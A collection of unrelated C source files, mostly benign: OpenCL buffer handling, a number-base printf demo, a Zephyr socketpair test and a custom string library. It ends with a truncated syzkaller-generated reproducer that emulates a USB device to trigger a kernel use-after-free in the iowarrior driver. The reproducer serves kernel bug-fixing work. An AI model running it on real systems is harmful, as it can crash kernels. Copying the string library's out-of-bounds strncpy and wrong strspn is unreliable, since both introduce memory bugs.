exit(1); } /* Create and allocate host buffers */ size_t num_elem = 10; /* Create and init host side src buffer 0 */ cl_ulong2 *src_0_host_buffer; src_0_host_buffer = malloc(num_elem * sizeof(cl_ulong2)); for (int i = 0; i < num_elem; i++) src_0_host_buffer[i] = (cl_ulong2){{2, 2}}; /* Create and init device side src buffer 0 */ cl_mem src_0_device_buffer; src_0_device_buffer = clCreateBuffer(context, CL_MEM_READ_ONLY, num_elem * sizeof(cl_ulong2), NULL, &ret); if (ret != CL_SUCCESS) { printf("error: could not create source buffer\n"); exit(1); } ret = clEnqueueWriteBuffer(command_queue, src_0_device_buffer, CL_TRUE, 0, num_elem * sizeof(cl_ulong2), src_0_host_buffer, 0, NULL, NULL); if (ret != CL_SUCCESS) { printf("error: call to 'clEnqueueWriteBuffer' failed\n"); exit(1); } /* Create and init host side src buffer 1 */ cl_ulong2 *src_1_host_buffer; src_1_host_buffer = malloc(num_elem * sizeof(cl_ulong2)); for (int i = 0; i < num_elem; i++) src_1_host_buffer[i] = (cl_ulong2){{2, 2}}; /* Create and init device side src buffer 1 */ cl_mem src_1_device_buffer; src_1_device_buffer = clCreateBuffer(context, CL_MEM_READ_ONLY, num_elem * sizeof(cl_ulong2), NULL, &ret); if (ret != CL_SUCCESS) { printf("error: could not create source buffer\n"); exit(1); } ret = clEnqueueWriteBuffer(command_queue, src_1_device_buffer, CL_TRUE, 0, num_elem * sizeof(cl_ulong2), src_1_host_buffer, 0, NULL, NULL); if (ret != CL_SUCCESS) { printf("error: call to 'clEnqueueWriteBuffer' failed\n"); exit(1); } /* Create and init host side src buffer 2 */ cl_ulong2 *src_2_host_buffer; src_2_host_buffer = malloc(num_elem * sizeof(cl_ulong2)); for (int i = 0; i < num_elem; i++) src_2_host_buffer[i] = (cl_ulong2){{2, 2}}; /* Create and init device side src buffer 2 */ cl_mem src_2_device_buffer; src_2_device_buffer = clCreateBuffer(context, CL_MEM_READ_ONLY, num_elem * sizeof(cl_ulong2), NULL, &ret); if (ret != CL_SUCCESS) { printf("error: could not create source buffer\n"); exit(1); } ret = clEnqueueWriteBuffer(command_queue, src_2_device_buffer, CL_TRUE, 0, num_elem * sizeof(cl_ulong2), src_2_host_buffer, 0, NULL, NULL); if (ret != CL_SUCCESS) { printf("error: call to 'clEnqueueWriteBuffer' failed\n"); exit(1); } /* Create host dst buffer */ cl_ulong2 *dst_host_buffer; dst_host_buffer = malloc(num_elem * sizeof(cl_ulong2)); memset((void *)dst_host_buffer, 1, num_elem * sizeof(cl_ulong2)); /* Create device dst buffer */ cl_mem dst_device_buffer; dst_device_buffer = clCreateBuffer(context, CL_MEM_WRITE_ONLY, num_elem *sizeof(cl_ulong2), NULL, &ret); if (ret != CL_SUCCESS) { printf("error: could not create dst buffer\n"); exit(1); } /* Set kernel arguments */ ret = CL_SUCCESS; ret |= clSetKernelArg(kernel, 0, sizeof(cl_mem), &src_0_device_buffer); ret |= clSetKernelArg(kernel, 1, sizeof(cl_mem), &src_1_device_buffer); ret |= clSetKernelArg(kernel, 2, sizeof(cl_mem), &src_2_device_buffer); ret |= clSetKernelArg(kernel, 3, sizeof(cl_mem), &dst_device_buffer); if (ret != CL_SUCCESS) { printf("error: call to 'clSetKernelArg' failed\n"); exit(1); } /* Launch the kernel */ size_t global_work_size = num_elem; size_t local_work_size = num_elem; ret = clEnqueueNDRangeKernel(command_queue, kernel, 1, NULL, &global_work_size, &local_work_size, 0, NULL, NULL); if (ret != CL_SUCCESS) { printf("error: call to 'clEnqueueNDRangeKernel' failed\n"); exit(1); } /* Wait for it to finish */ clFinish(command_queue); /* Read results from GPU */ ret = clEnqueueReadBuffer(command_queue, dst_device_buffer, CL_TRUE,0, num_elem * sizeof(cl_ulong2), dst_host_buffer, 0, NULL, NULL); if (ret != CL_SUCCESS) { printf("error: call to 'clEnqueueReadBuffer' failed\n"); exit(1); } /* Dump dst buffer to file */ char dump_file[100]; sprintf((char *)&dump_file, "%s.result", argv[0]); write_buffer(dump_file, (const char *)dst_host_buffer, num_elem * sizeof(cl_ulong2)); printf("Result dumped to %s\n", dump_file); /* Free host dst buffer */ free(dst_host_buffer); /* Free device dst buffer */ ret = clReleaseMemObject(dst_device_buffer); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseMemObject' failed\n"); exit(1); } /* Free host side src buffer 0 */ free(src_0_host_buffer); /* Free device side src buffer 0 */ ret = clReleaseMemObject(src_0_device_buffer); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseMemObject' failed\n"); exit(1); } /* Free host side src buffer 1 */ free(src_1_host_buffer); /* Free device side src buffer 1 */ ret = clReleaseMemObject(src_1_device_buffer); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseMemObject' failed\n"); exit(1); } /* Free host side src buffer 2 */ free(src_2_host_buffer); /* Free device side src buffer 2 */ ret = clReleaseMemObject(src_2_device_buffer); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseMemObject' failed\n"); exit(1); } /* Release kernel */ ret = clReleaseKernel(kernel); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseKernel' failed\n"); exit(1); } /* Release program */ ret = clReleaseProgram(program); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseProgram' failed\n"); exit(1); } /* Release command queue */ ret = clReleaseCommandQueue(command_queue); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseCommandQueue' failed\n"); exit(1); } /* Release context */ ret = clReleaseContext(context); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseContext' failed\n"); exit(1); } return 0; }

the_stack_data/381508.c

#include <stdio.h> int main(void) { int x = 100; printf("10진수로 출력 : %d\n", x); // 100 // 10진수 //기본적으로 출력한다 printf("8진수로 출력 : %o\n", x); // 144 // 8진수 // 1 2 3 4 5 6 7 10 11 12 -> printf("16진수로 출력 : %x\n", x); // 64 // 16진수 return 0; }

the_stack_data/1136807.c

#ifdef ALL_NET_EVENT #include "rt_config.h" void wext_send_event(PNET_DEV net_dev, const char *peer_mac_addr, const char *bssid, UINT32 channel, INT32 rssi, FBT_NOTIFY_E event_type) { FBT_NOTIFY_ST event_data; memcpy(&event_data.FbtNotifyExtApMac, bssid, 6); event_data.FbtChannel = channel; event_data.FbtRSSI = rssi; event_data.FbtNotifyType = event_type; memcpy(&event_data.FbtNotifyMac, peer_mac_addr, 6); RtmpOSWrielessEventSend(net_dev, RT_WLAN_EVENT_CUSTOM, IW_ALL_NET_EVENT, NULL, (PUCHAR)&event_data, sizeof(event_data)); } #endif /* ALL_NET_EVENT */

the_stack_data/1230724.c

#include <stdint.h> extern void *_binary_pr25749_1_c_start; extern void *_binary_pr25749_1_c_end; intptr_t size (void) { return ((intptr_t) &_binary_pr25749_1_c_end - (intptr_t) &_binary_pr25749_1_c_start); }

the_stack_data/1217062.c

#include <math.h> #include <stdio.h> #include <stdlib.h> int main(int argc, char **argv) { // I am not a floating point expert. This may be wrong in all sorts // of subtle ways. It happens to work here. for (double a = 0.01; a < 7.11; a += 0.01) { for (double b = a; b < 7.11; b += 0.01) { for (double c = b; c < 7.11; c += 0.01) { for (double d = c; d < 7.11; d += 0.01) { int product_cents = a * b * c * d * 100.0; int sum_cents = (a + b + c + d) * 100.0; if (product_cents == 711 && sum_cents == 711) { printf("a=%.2f, b=%.2f, c=%.2f, d=%.2f\n", a, b, c, d); exit(0); } } } } } exit(1); } /* Local Variables: */ /* compile-command: "clang -o seveneleven_fp -Wall -O3 seveneleven_fp.c" */ /* End: */

the_stack_data/168892821.c

/* * Copyright (c) 2020 Friedt Professional Engineering Services, Inc * * SPDX-License-Identifier: Apache-2.0 */ #if defined(__ZEPHYR__) && !(defined(CONFIG_BOARD_NATIVE_POSIX_32BIT) \ || defined(CONFIG_BOARD_NATIVE_POSIX_64BIT) \ || defined(CONFIG_SOC_SERIES_BSIM_NRFXX)) #include <net/socket.h> #include <posix/pthread.h> #include <sys/util.h> #include <posix/unistd.h> #else #include <poll.h> #include <pthread.h> #include <sys/socket.h> #include <sys/types.h> #include <unistd.h> #define ARRAY_SIZE(x) (sizeof(x)/sizeof((x)[0])) #endif #include <errno.h> #include <stdbool.h> #include <stdio.h> #include <string.h> #define NUM_SOCKETPAIRS 3 #define NUM_REPITITIONS 3 struct ctx { int spair[2]; pthread_t thread; char *name; }; static const char *const names[] = { "Alpha", "Bravo", "Charlie", }; #if defined(__ZEPHYR__) && !(defined(CONFIG_BOARD_NATIVE_POSIX_32BIT) \ || defined(CONFIG_BOARD_NATIVE_POSIX_64BIT) \ || defined(CONFIG_SOC_SERIES_BSIM_NRFXX)) #define STACK_SIZE (1024 + CONFIG_TEST_EXTRA_STACK_SIZE) static pthread_attr_t attr[NUM_SOCKETPAIRS]; K_THREAD_STACK_ARRAY_DEFINE(stack, NUM_SOCKETPAIRS, STACK_SIZE); #endif static void hello(int fd, const char *name) { /* write(2) should be used after #25443 */ int res = send(fd, name, strlen(name), 0); if (res != strlen(name)) { printf("%s(): send: expected: %d actual: %d errno: %d\n", __func__, (int)strlen(name), res, errno); } } static void *fun(void *arg) { struct ctx *const ctx = (struct ctx *)arg; int fd = ctx->spair[1]; const char *name = ctx->name; for (size_t i = 0; i < NUM_REPITITIONS; ++i) { hello(fd, name); } close(fd); printf("%s closed fd %d\n", name, fd); ctx->spair[1] = -1; return NULL; } static int fd_to_idx(int fd, struct ctx *ctx, size_t n) { int r = -1; size_t i; for (i = 0; i < n; ++i) { if (ctx[i].spair[0] == fd) { r = i; break; } } return r; } #ifdef __ZEPHYR__ void zephyr_app_main(void) { #else int main(int argc, char *argv[]) { (void) argc; (void) argv; #endif int r; int fd; int idx; int poll_r; size_t i; size_t num_active; char buf[32]; struct ctx ctx[NUM_SOCKETPAIRS] = {}; struct pollfd fds[NUM_SOCKETPAIRS] = {}; void *unused; pthread_attr_t *attrp = NULL; for (i = 0; i < ARRAY_SIZE(ctx); ++i) { ctx[i].name = (char *)names[i]; r = socketpair(AF_UNIX, SOCK_STREAM, 0, ctx[i].spair); if (r != 0) { printf("socketpair failed: %d\n", errno); goto out; } #if defined(__ZEPHYR__) && !(defined(CONFIG_BOARD_NATIVE_POSIX_32BIT) \ || defined(CONFIG_BOARD_NATIVE_POSIX_64BIT) \ || defined(CONFIG_SOC_SERIES_BSIM_NRFXX)) /* Zephyr requires a non-NULL attribute for pthread_create */ attrp = &attr[i]; r = pthread_attr_init(attrp); if (r != 0) { printf("pthread_attr_init() failed: %d", r); goto out; } r = pthread_attr_setstack(attrp, &stack[i], STACK_SIZE); if (r != 0) { printf("pthread_attr_setstack() failed: %d", r); goto out; } #endif r = pthread_create(&ctx[i].thread, attrp, fun, &ctx[i]); if (r != 0) { printf("pthread_create failed: %d\n", r); goto out; } printf("%s: socketpair: %d <=> %d\n", ctx[i].name, ctx[i].spair[0], ctx[i].spair[1]); } /* loop until all threads are done */ for (;;) { /* count threads that are still running and fill in pollfds */ for (i = 0, num_active = 0; i < ARRAY_SIZE(ctx); ++i) { if (ctx[i].spair[0] == -1) { continue; } fds[num_active].fd = ctx[i].spair[0]; fds[num_active].events = POLLIN; fds[num_active].revents = 0; num_active++; } if (num_active == 0) { /* all threads are done */ break; } poll_r = poll(fds, num_active, -1); for (size_t i = 0; i < num_active; ++i) { fd = fds[i].fd; idx = fd_to_idx(fd, ctx, ARRAY_SIZE(ctx)); if (idx < 0) { printf("failed to map fd %d to index\n", fd); continue; } if ((fds[i].revents & POLLIN) != 0) { memset(buf, '\0', sizeof(buf)); /* read(2) should be used after #25443 */ r = recv(fd, buf, sizeof(buf), 0); printf("fd: %d: read %d bytes\n", fd, r); } if ((fds[i].revents & POLLERR) != 0) { printf("fd: %d: error\n", fd); } if ((fds[i].revents & POLLHUP) != 0) { printf("fd: %d: hung up\n", fd); close(ctx[idx].spair[0]); printf("%s: closed fd %d\n", __func__, ctx[idx].spair[0]); pthread_join(ctx[idx].thread, &unused); printf("joined %s\n", ctx[idx].name); ctx[idx].spair[0] = -1; } } } printf("finished!\n"); out: #ifndef __ZEPHYR__ return 0; #else return; #endif }

the_stack_data/700224.c

#include <stdlib.h> // malloc #include "./string.h" int ToLower(char a); /* Pasudo Code strcpy: 1. set i = 0, j = 0; 2. while src[i] is not NULL will iterate 2.1 dest[j] = src[i] 2.2 i++ 2.3 j++ 3. set dest[j] = '\0' 4. return dest */ char *strcpy(char *dest, const char *src) { int i = 0, j = 0; while (src[i] != '\0') { dest[j] = src[i]; i++; j++; } dest[j] = '\0'; return (dest); } /* Pasudo Code strncpy: 1. set i = 0 2. for i < n and src[i] != '\0' 2.1 set dest[i] = src[i] 3. while i <n 3.1 dest[i] = '\0' 3.2 i++ 4. return dest */ char *strncpy(char *dest, const char *src, size_t n) { size_t i = 0; for (i = 0; i < n && src[i] != '\0'; i++) { dest[i] = src[i]; } dest[i] = '\0'; return (dest); } /*Appends the string pointed to, by src to the end of the string pointed to by dest. 1. set char *temp = dest +str(dest) 2. while *src != '\0 2.1 *temp = *src 2.2 temp++; 2.3 src++; 3. *temp = '\0' 4. return dest */ char *strcat(char *dest, const char *src) { char *temp = dest + (strlen(dest)); int size = strlen(src); int i = 0; while (i < size) { *temp = *src; temp++; src++; i++; } *temp = '\0'; return (dest); } /*Appends the string pointed to, by src to the end of the string pointed to, by dest up to n characters long. 1. set char *temp = dest +strlen(dest) 2. while *src != '\0' AND n > o 2.1 *temp = *src 2.2 temp++ 2.3 src++ 2.4 n-- 3. *temp = '\0' 4. return dest */ char *strncat(char *dest, const char *src, size_t n) { char *temp = dest + strlen(dest); while (*src != '\0' && n>0) { *temp = *src; temp++; src++; n--; } *temp = '\0'; return (dest); } //Searches for the first occurrence of the character c (an unsigned char) in the string pointed to, by the argument str. /* 1. set char temp - src 2. while *temp != NULL 2.1 if temp == c 2.1.1 return temp 2.2 ++temp 3. return NULL */ char *strchr(const char *str, int c) { char *temp = (char *)str; while (*temp != '\0') { if (*temp == c) { return temp; } ++temp; } return (NULL); } /*Calculates the length of the initial segment of str1 which consists entirely of characters in str2. 1. set size_t size = 0 2. while *str1 != '\0' 2.1 if strchr(str2, *str1) 2.1.2 size++ 2.2 str1++ 3. retur size_t */ size_t strspn(const char *str1, const char *str2) { size_t size = 0; while (*str1 != '\0') { if (strchr(str2, *str1) != NULL) { size++; } str1++; } return (size); } /*Finds the first occurrence of the entire string needle (not including the terminating null character) which appears in the string haystack. 1. set int i = 0, j = o ,TempIndex 2. set const char * TempPointer = NULL 3. for i < strlen(haystack) 3.1 if haystack[i] == needle[j] 3.1.1 TempPointer = &haystack[i] 3.1.2 TempIndex = i 3.1.3 while haystack[i] == needle[j] 3.1.3.1 i++ 3.1.3.2 j++ 3.1.4 if j == strlen(neddle) 3.1.4.1 return (TempPointer) 3.1.4 i = TempIndex 3.1.5 j = 0 4. return (NULL) */ char *strstr(const char *haystack, const char *needle) { int i = 0; int j = 0; int TempIndex = 0; char * TempPointer = NULL; for ( i = 0; i < strlen(haystack); i++) { if (haystack[i] == needle[j]) { TempPointer = (char *)&haystack[i]; TempIndex = i; while (haystack[i] == needle[j] && needle[j] != '\0') { i++; j++; } if (j == (strlen(needle))) { return (TempPointer); } i = TempIndex; j = 0; } } return (NULL); } /*Breaks string str into a series of tokens separated by delim. 1. if str != null 1.2 set static varibles: static char *string = str static int index = 0 Itirate on delim[i]: if delim[i] in string */ char *strtok(char *str, const char *delim) { static char *string; static int index; static int size; static char *EndString; int i = 0; char *PointerDelim = NULL; char *Token = NULL; char *TempToken = NULL; if(str != NULL) { string = str; index = 0; size = strlen(str); EndString = str + size; } if (string == EndString) { return (NULL); } for ( i = 0; i < strlen(delim); i++) { PointerDelim = strchr(string, delim[i]); if (PointerDelim != NULL) { break; } } if(PointerDelim == NULL) { if(*string != '\0' && index != 0) { PointerDelim = string + (size - index); } else { return (NULL); } } Token = (char *)malloc(sizeof(char) * (PointerDelim - string + 1)); if(Token == NULL) { printf("ERROR allocation memory in malloc.\n"); exit(0); } else { TempToken = Token; while(string != PointerDelim) { *Token = *string; Token++; string++; index++; } if( string != EndString) { *string = '\0'; string++; index++; } *Token = '\0'; return (TempToken); } } /*compares string1 and string2 without sensitivity to case. All alphabetic characters in string1 and string2 are converted to lowercase before comparison. 1. while *string != NULL AND (ToLower(*string1)- ToLower(*string2)) == 0 1.1 string1++; 1.2 string2++; 2. return (ToLower(*string1) - ToLower(*string2)) */ int strcasecmp(const char *string1, const char *string2) { while ((ToLower(*string1)- ToLower(*string2)) == 0 && *string1 != '\0') { string1++; string2++; } return (ToLower(*string1) - ToLower(*string2)); }

the_stack_data/1070576.c

// KASAN: use-after-free Read in iowarrior_disconnect // https://syzkaller.appspot.com/bug?id=c59a8f0485cd6634443cdf23cdbf3ea264dd888d // status:open // autogenerated by syzkaller (https://github.com/google/syzkaller) #define _GNU_SOURCE #include <dirent.h> #include <endian.h> #include <errno.h> #include <fcntl.h> #include <signal.h> #include <stdarg.h> #include <stdbool.h> #include <stddef.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mount.h> #include <sys/prctl.h> #include <sys/stat.h> #include <sys/syscall.h> #include <sys/types.h> #include <sys/wait.h> #include <time.h> #include <unistd.h> #include <linux/usb/ch9.h> unsigned long long procid; static void sleep_ms(uint64_t ms) { usleep(ms * 1000); } static uint64_t current_time_ms(void) { struct timespec ts; if (clock_gettime(CLOCK_MONOTONIC, &ts)) exit(1); return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000; } static bool write_file(const char* file, const char* what, ...) { char buf[1024]; va_list args; va_start(args, what); vsnprintf(buf, sizeof(buf), what, args); va_end(args); buf[sizeof(buf) - 1] = 0; int len = strlen(buf); int fd = open(file, O_WRONLY | O_CLOEXEC); if (fd == -1) return false; if (write(fd, buf, len) != len) { int err = errno; close(fd); errno = err; return false; } close(fd); return true; } #define USB_DEBUG 0 #define USB_MAX_EP_NUM 32 struct usb_device_index { struct usb_device_descriptor* dev; struct usb_config_descriptor* config; unsigned config_length; struct usb_interface_descriptor* iface; struct usb_endpoint_descriptor* eps[USB_MAX_EP_NUM]; unsigned eps_num; }; static bool parse_usb_descriptor(char* buffer, size_t length, struct usb_device_index* index) { if (length < sizeof(*index->dev) + sizeof(*index->config) + sizeof(*index->iface)) return false; index->dev = (struct usb_device_descriptor*)buffer; index->config = (struct usb_config_descriptor*)(buffer + sizeof(*index->dev)); index->config_length = length - sizeof(*index->dev); index->iface = (struct usb_interface_descriptor*)(buffer + sizeof(*index->dev) + sizeof(*index->config)); index->eps_num = 0; size_t offset = 0; while (true) { if (offset + 1 >= length) break; uint8_t desc_length = buffer[offset]; uint8_t desc_type = buffer[offset + 1]; if (desc_length <= 2) break; if (offset + desc_length > length) break; if (desc_type == USB_DT_ENDPOINT) { index->eps[index->eps_num] = (struct usb_endpoint_descriptor*)(buffer + offset); index->eps_num++; } if (index->eps_num == USB_MAX_EP_NUM) break; offset += desc_length; } return true; } enum usb_fuzzer_event_type { USB_FUZZER_EVENT_INVALID, USB_FUZZER_EVENT_CONNECT, USB_FUZZER_EVENT_DISCONNECT, USB_FUZZER_EVENT_SUSPEND, USB_FUZZER_EVENT_RESUME, USB_FUZZER_EVENT_CONTROL, }; struct usb_fuzzer_event { uint32_t type; uint32_t length; char data[0]; }; struct usb_fuzzer_init { uint64_t speed; const char* driver_name; const char* device_name; }; struct usb_fuzzer_ep_io { uint16_t ep; uint16_t flags; uint32_t length; char data[0]; }; #define USB_FUZZER_IOCTL_INIT _IOW('U', 0, struct usb_fuzzer_init) #define USB_FUZZER_IOCTL_RUN _IO('U', 1) #define USB_FUZZER_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_fuzzer_event) #define USB_FUZZER_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_fuzzer_ep_io) #define USB_FUZZER_IOCTL_EP0_READ _IOWR('U', 4, struct usb_fuzzer_ep_io) #define USB_FUZZER_IOCTL_EP_ENABLE _IOW('U', 5, struct usb_endpoint_descriptor) #define USB_FUZZER_IOCTL_EP_WRITE _IOW('U', 7, struct usb_fuzzer_ep_io) #define USB_FUZZER_IOCTL_EP_READ _IOWR('U', 8, struct usb_fuzzer_ep_io) #define USB_FUZZER_IOCTL_CONFIGURE _IO('U', 9) #define USB_FUZZER_IOCTL_VBUS_DRAW _IOW('U', 10, uint32_t) int usb_fuzzer_open() { return open("/sys/kernel/debug/usb-fuzzer", O_RDWR); } int usb_fuzzer_init(int fd, uint32_t speed, const char* driver, const char* device) { struct usb_fuzzer_init arg; arg.speed = speed; arg.driver_name = driver; arg.device_name = device; return ioctl(fd, USB_FUZZER_IOCTL_INIT, &arg); } int usb_fuzzer_run(int fd) { return ioctl(fd, USB_FUZZER_IOCTL_RUN, 0); } int usb_fuzzer_event_fetch(int fd, struct usb_fuzzer_event* event) { return ioctl(fd, USB_FUZZER_IOCTL_EVENT_FETCH, event); } int usb_fuzzer_ep0_write(int fd, struct usb_fuzzer_ep_io* io) { return ioctl(fd, USB_FUZZER_IOCTL_EP0_WRITE, io); } int usb_fuzzer_ep0_read(int fd, struct usb_fuzzer_ep_io* io) { return ioctl(fd, USB_FUZZER_IOCTL_EP0_READ, io); } int usb_fuzzer_ep_write(int fd, struct usb_fuzzer_ep_io* io) { return ioctl(fd, USB_FUZZER_IOCTL_EP_WRITE, io); } int usb_fuzzer_ep_read(int fd, struct usb_fuzzer_ep_io* io) { return ioctl(fd, USB_FUZZER_IOCTL_EP_READ, io); } int usb_fuzzer_ep_enable(int fd, struct usb_endpoint_descriptor* desc) { return ioctl(fd, USB_FUZZER_IOCTL_EP_ENABLE, desc); } int usb_fuzzer_configure(int fd) { return ioctl(fd, USB_FUZZER_IOCTL_CONFIGURE, 0); } int usb_fuzzer_vbus_draw(int fd, uint32_t power) { return ioctl(fd, USB_FUZZER_IOCTL_VBUS_DRAW, power); } #define USB_MAX_PACKET_SIZE 1024 struct usb_fuzzer_control_event { struct usb_fuzzer_event inner; struct usb_ctrlrequest ctrl; char data[USB_MAX_PACKET_SIZE]; }; struct usb_fuzzer_ep_io_data { struct usb_fuzzer_ep_io inner; char data[USB_MAX_PACKET_SIZE]; }; struct vusb_connect_string_descriptor { uint32_t len; char* str; } __attribute__((packed)); struct vusb_connect_descriptors { uint32_t qual_len; char* qual; uint32_t bos_len; char* bos; uint32_t strs_len; struct vusb_connect_string_descriptor strs[0]; } __attribute__((packed)); static const char* default_string = "syzkaller"; static bool lookup_connect_response(struct vusb_connect_descriptors* descs, struct usb_device_index* index, struct usb_ctrlrequest* ctrl, char** response_data, uint32_t* response_length) { uint8_t str_idx; switch (ctrl->bRequestType & USB_TYPE_MASK) { case USB_TYPE_STANDARD: switch (ctrl->bRequest) { case USB_REQ_GET_DESCRIPTOR: switch (ctrl->wValue >> 8) { case USB_DT_DEVICE: *response_data = (char*)index->dev; *response_length = sizeof(*index->dev); return true; case USB_DT_CONFIG: *response_data = (char*)index->config; *response_length = index->config_length; return true; case USB_DT_STRING: str_idx = (uint8_t)ctrl->wValue; if (str_idx >= descs->strs_len) { *response_data = (char*)default_string; *response_length = strlen(default_string); } else { *response_data = descs->strs[str_idx].str; *response_length = descs->strs[str_idx].len; } return true; case USB_DT_BOS: *response_data = descs->bos; *response_length = descs->bos_len; return true; case USB_DT_DEVICE_QUALIFIER: *response_data = descs->qual; *response_length = descs->qual_len; return true; default: exit(1); return false; } break; default: exit(1); return false; } break; default: exit(1); return false; } return false; } static volatile long syz_usb_connect(volatile long a0, volatile long a1, volatile long a2, volatile long a3) { uint64_t speed = a0; uint64_t dev_len = a1; char* dev = (char*)a2; struct vusb_connect_descriptors* descs = (struct vusb_connect_descriptors*)a3; if (!dev) { return -1; } struct usb_device_index index; memset(&index, 0, sizeof(index)); int rv = 0; rv = parse_usb_descriptor(dev, dev_len, &index); if (!rv) { return rv; } int fd = usb_fuzzer_open(); if (fd < 0) { return fd; } char device[32]; sprintf(&device[0], "dummy_udc.%llu", procid); rv = usb_fuzzer_init(fd, speed, "dummy_udc", &device[0]); if (rv < 0) { return rv; } rv = usb_fuzzer_run(fd); if (rv < 0) { return rv; } bool done = false; while (!done) { struct usb_fuzzer_control_event event; event.inner.type = 0; event.inner.length = sizeof(event.ctrl); rv = usb_fuzzer_event_fetch(fd, (struct usb_fuzzer_event*)&event); if (rv < 0) { return rv; } if (event.inner.type != USB_FUZZER_EVENT_CONTROL) continue; bool response_found = false; char* response_data = NULL; uint32_t response_length = 0; if (event.ctrl.bRequestType & USB_DIR_IN) { response_found = lookup_connect_response( descs, &index, &event.ctrl, &response_data, &response_length); if (!response_found) { return -1; } } else { if ((event.ctrl.bRequestType & USB_TYPE_MASK) != USB_TYPE_STANDARD || event.ctrl.bRequest != USB_REQ_SET_CONFIGURATION) { exit(1); return -1; } done = true; } if (done) { rv = usb_fuzzer_vbus_draw(fd, index.config->bMaxPower); if (rv < 0) { return rv; } rv = usb_fuzzer_configure(fd); if (rv < 0) { return rv; } unsigned ep; for (ep = 0; ep < index.eps_num; ep++) { rv = usb_fuzzer_ep_enable(fd, index.eps[ep]); if (rv < 0) { } else { } } } struct usb_fuzzer_ep_io_data response; response.inner.ep = 0; response.inner.flags = 0; if (response_length > sizeof(response.data)) response_length = 0; if (event.ctrl.wLength < response_length) response_length = event.ctrl.wLength; response.inner.length = response_length; if (response_data) memcpy(&response.data[0], response_data, response_length); else memset(&response.data[0], 0, response_length); if (event.ctrl.bRequestType & USB_DIR_IN) rv = usb_fuzzer_ep0_write(fd, (struct usb_fuzzer_ep_io*)&response); else rv = usb_fuzzer_ep0_read(fd, (struct usb_fuzzer_ep_io*)&response); if (rv < 0) { return rv; } } sleep_ms(200); return fd; } static volatile long syz_usb_disconnect(volatile long a0) { int fd = a0; int rv = close(fd); sleep_ms(200); return rv; } static long syz_open_dev(volatile long a0, volatile long a1, volatile long a2) { if (a0 == 0xc || a0 == 0xb) { char buf[128]; sprintf(buf, "/dev/%s/%d:%d", a0 == 0xc ? "char" : "block", (uint8_t)a1, (uint8_t)a2); return open(buf, O_RDWR, 0); } else { char buf[1024]; char* hash; strncpy(buf, (char*)a0, sizeof(buf) - 1); buf[sizeof(buf) - 1] = 0; while ((hash = strchr(buf, '#'))) { *hash = '0' + (char)(a1 % 10); a1 /= 10; } return open(buf, a2, 0); } } static void kill_and_wait(int pid, int* status) { kill(-pid, SIGKILL); kill(pid, SIGKILL); int i; for (i = 0; i < 100; i++) { if (waitpid(-1, status, WNOHANG | __WALL) == pid) return; usleep(1000); } DIR* dir = opendir("/sys/fs/fuse/connections"); if (dir) { for (;;) { struct dirent* ent = readdir(dir); if (!ent) break; if (strcmp(ent->d_name, ".") == 0 || strcmp(ent->d_name, "..") == 0) continue; char abort[300]; snprintf(abort, sizeof(abort), "/sys/fs/fuse/connections/%s/abort", ent->d_name); int fd = open(abort, O_WRONLY); if (fd == -1) { continue; } if (write(fd, abort, 1) < 0) { } close(fd); } closedir(dir); } else { } while (waitpid(-1, status, __WALL) != pid) { } } static void setup_test() { prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0); setpgrp(); write_file("/proc/self/oom_score_adj", "1000"); } static void execute_one(void); #define WAIT_FLAGS __WALL static void loop(void) { int iter; for (iter = 0;; iter++) { int pid = fork(); if (pid < 0) exit(1); if (pid == 0) { setup_test(); execute_one(); exit(0); } int status = 0; uint64_t start = current_time_ms(); for (;;) { if (waitpid(-1, &status, WNOHANG | WAIT_FLAGS) == pid) break; sleep_ms(1); if (current_time_ms() - start < 5 * 1000) continue; kill_and_wait(pid, &status); break; } } } uint64_t r[1] = {0xffffffffffffffff}; void execute_one(void) { intptr_t res = 0; memcpy( (void*)0x20000380, "\x12\x01\x00\x00\x12\x09\x1f\x08\xc0\x07\x01\x15\xa0\x74\x00\x00\x00\x01" "\x09\x02\x1b\x00\x03\x00\x00\x00\x00\x09\x04\xec\x00\x01\x50\x6d\x30\x00" "\x07\x05\x81\x8a\x7c\x29\x84\x63\x89\x56\xd3\x2d\x01\xd3\xb0\xf0\x96\x58" "\x85\xfc\xec\x09\xba\x0e\x36\x54\xbb\xa6\x49\x2e\x7c\xa6\xfa\xc3\x13\x6c" "\x3b\x2e\x10\x75\xed\xf8\xd5\x47\xec\x1b\x71\x59\xb2\x29\x1f\xdb\x69\x9f" "\x0c\xbf\x95\x71\x03\x33\xa1\x72\xe5\xe1\x6f\xff\xfb\xe2\x16\x71\x93\x87" "\xfa\x36\x13\x78\x5b\x28\x24\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x7f\xd9\x02\x94\x2a\xa4\x2a\x2d\x0a\xca" "\xf3\xb8\x43\xfd\x3c\xeb\xb0\x28\x4c\x68\x04\xe1\x00\x3b\x25\xbb\x66\x62" "\x04\xf7\x28\xd2\x2c\x4c\xcf\x6b\xbc\x17\x07\x3a\x1f\x00\x00\x00\xae\xb1" "\x5e\xf1\xbe\xe1\x60\x19\xd7\xdc\xa8\xfb\x7d\xdc\x07\x25\xc6\x68\x24\x2c" "\x2a\x18\xa9\x05\x68\x72\x98\x10\xef\xb8\x52\x4a\x3b\x51\x43\xe5\x66\x73" "\xc4\x27\xe1\x4c\x0a\xb0\xbe\x41\xf1\x6c\x9d\x54\x7c\xfe\xdb\x3e\x3f\xcb" "\x1e\xa4\xd0\xc3\x1c\x3c\xd9\x93\xfc\x4f\x13\x34\x8c\x42\xe1\xb2\x08\x00" "\x00\x00\x3b\x52\xe2\x12\xf4\x59\xa4\xca\xb3\xa1\x19\x0b\x8a\x94\x4a\x07" "\xc4\xba\x5c\x3d\x2d\xef\x05\x5f\x97\xce\xfb\xe1\x6f\xed\xbf\xbe\xa5\xc1" 